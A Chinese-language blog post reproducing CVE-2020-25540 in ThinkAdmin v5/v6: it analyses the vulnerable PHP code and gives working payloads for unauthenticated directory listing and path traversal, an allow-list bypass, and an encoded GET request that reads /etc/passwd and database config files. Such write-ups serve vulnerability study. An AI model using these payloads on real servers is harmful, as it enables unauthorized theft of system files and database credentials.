【漏洞復現】ThinkAdmin v5和v6 未授權列目錄任意檔案讀取(CVE-2020-25540)

komomon發表於2021-12-27

ThinkAdmin v5和v6 未授權列目錄/任意檔案讀取(CVE-2020-25540)

漏洞簡介

ThinkAdmin是一套基於ThinkPHP框架的通用後臺管理系統。ThinkAdmin v6版本存在路徑遍歷漏洞。攻擊者可利用該漏洞通過GET請求編碼引數任意讀取遠端伺服器上的檔案。

影響範圍

Thinkadmin ≤ 2020.08.03.01

漏洞分析復現

app/admin/controller/api/Update.php存在3個function,都是不用登入認證就可以使用的,引用列表如下:

namespace app\admin\controller\api;
use think\admin\Controller;
use think\admin\service\InstallService;
use think\admin\service\ModuleService;

version()可以獲取到當前版本:2020.08.03.01,≤這個版本的都有可能存在漏洞

URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version

列目錄

node():

/**
* 讀取檔案列表
*/
public function node()
{
    $this->success('獲取檔案列表成功!', InstallService::instance()->getList(
        json_decode($this->request->post('rules', '[]', ''), true),
        json_decode($this->request->post('ignore', '[]', ''), true)
    ));
}

直接把POST的rules和ignore引數傳給InstallService::instance()->getList(),根據上面的use引用可以知道檔案路徑在vendor/zoujingli/think-library/src/service/InstallService.php:

/**
 * 獲取檔案資訊列表
 * @param array $rules 檔案規則
 * @param array $ignore 忽略規則
 * @param array $data 掃描結果列表
 * @return array
 */
public function getList(array $rules, array $ignore = [], array $data = []): array
{
    // 掃描規則檔案
    foreach ($rules as $key => $rule) {
        $name = strtr(trim($rule, '\\/'), '\\', '/');
        $data = array_merge($data, $this->_scanList($this->root . $name));
    }
    // 清除忽略檔案
    foreach ($data as $key => $item) foreach ($ignore as $ign) {
        if (stripos($item['name'], $ign) === 0) unset($data[$key]);
    }
    // 返回檔案資料
    return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}

$ignore可以不用關注,他會透過_scanList()去遍歷$rules陣列,呼叫scanDirectory()去遞迴遍歷目錄下的檔案,最後在透過_getInfo()去獲取檔名與雜湊,由下面程式碼可以知道程式沒有任何驗證,攻擊者可以在未授權的情況下讀取伺服器的檔案列表。

/**
 * 獲取目錄檔案列表
 * @param string $path 待掃描目錄
 * @param array $data 掃描結果
 * @return array
 */
private function _scanList($path, $data = []): array
{
    foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
        $data[] = $this->_getInfo(strtr($file, '\\', '/'));
    }
    return $data;
}
/**
 * 獲取所有PHP檔案列表
 * @param string $path 掃描目錄
 * @param array $data 額外資料
 * @param string $ext 檔案字尾
 * @return array
 */
public function scanDirectory($path, $data = [], $ext = 'php')
{
    if (file_exists($path)) if (is_file($path)) $data[] = $path;
    elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
        $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
        if (is_readable($realpath)) if (is_dir($realpath)) {
            $data = $this->scanDirectory($realpath, $data, $ext);
        } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
            $data[] = strtr($realpath, '\\', '/');
        }
    }
    return $data;
}
/**
 * 獲取指定檔案資訊
 * @param string $path 檔案路徑
 * @return array
 */
private function _getInfo($path): array
{
    return [
        'name' => str_replace($this->root, '', $path),
        'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
    ];
}

讀取網站根目錄Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node

POST:

rules=["/"]

也可以使用../來進行目錄穿越

rules=["../../../"]

演示站:

任意檔案讀取

get():

/**
 * 讀取檔案內容
 */
public function get()
{
    $filename = decode(input('encode', '0'));
    if (!ModuleService::instance()->checkAllowDownload($filename)) {
        $this->error('下載的檔案不在認證規則中!');
    }
    if (file_exists($realname = $this->app->getRootPath() . $filename)) {
        $this->success('讀取檔案內容成功!', [
            'content' => base64_encode(file_get_contents($realname)),
        ]);
    } else {
        $this->error('讀取檔案內容失敗!');
    }
}

首先從GET讀取encode引數並使用decode()解碼:

/**
 * 解密 UTF8 字串
 * @param string $content
 * @return string
 */
function decode($content)
{
    $chars = '';
    foreach (str_split($content, 2) as $char) {
        $chars .= chr(intval(base_convert($char, 36, 10)));
    }
    return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}

解密UTF8字串的,剛好上面有個加密UTF8字串的encode(),攻擊時直接呼叫那個就可以了:

/**
 * 加密 UTF8 字串
 * @param string $content
 * @return string
 */
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}

跟進ModuleService::instance()->checkAllowDownload(),檔案路徑vendor/zoujingli/think-library/src/service/ModuleService.php:

/**
 * 檢查檔案是否可下載
 * @param string $name 檔名稱
 * @return boolean
 */
public function checkAllowDownload($name): bool
{
    // 禁止下載資料庫配置檔案
    if (stripos($name, 'database.php') !== false) {
        return false;
    }
    // 檢查允許下載的檔案規則
    foreach ($this->getAllowDownloadRule() as $rule) {
        if (stripos($name, $rule) !== false) return true;
    }
    // 不在允許下載的檔案規則
    return false;
}

首先$name不能夠是database.php,接著跟進getAllowDownloadRule():

/**
 * 獲取允許下載的規則
 * @return array
 */
public function getAllowDownloadRule(): array
{
    $data = $this->app->cache->get('moduleAllowRule', []);
    if (is_array($data) && count($data) > 0) return $data;
    $data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
    foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
    $this->app->cache->set('moduleAllowRule', $data, 30);
    return $data;
}

有一個允許的列表:

config
public/static
public/router.php
public/index.php
app/admin
app/wechat

也就是說$name必須要不是database.php且要在允許列表內的檔案才能夠被讀取,先繞過安全列表的限制,比如讀取根目錄的1.txt,只需要傳入:

public/static/../../1.txt

而database.php的限制在Linux下應該是沒辦法繞過的,但是在Windows下可以透過"來替換.,也就是傳入:

public/static/../../config/database"php

對應encode()後的結果為:

34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

Windows讀取database.php:

演示站讀取/etc/passwd:

GET:

/admin/login.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s

v5連允許列表都沒有,可以直接讀任意檔案。

漏洞修復

臨時方案:

升級到最新版!

相關文章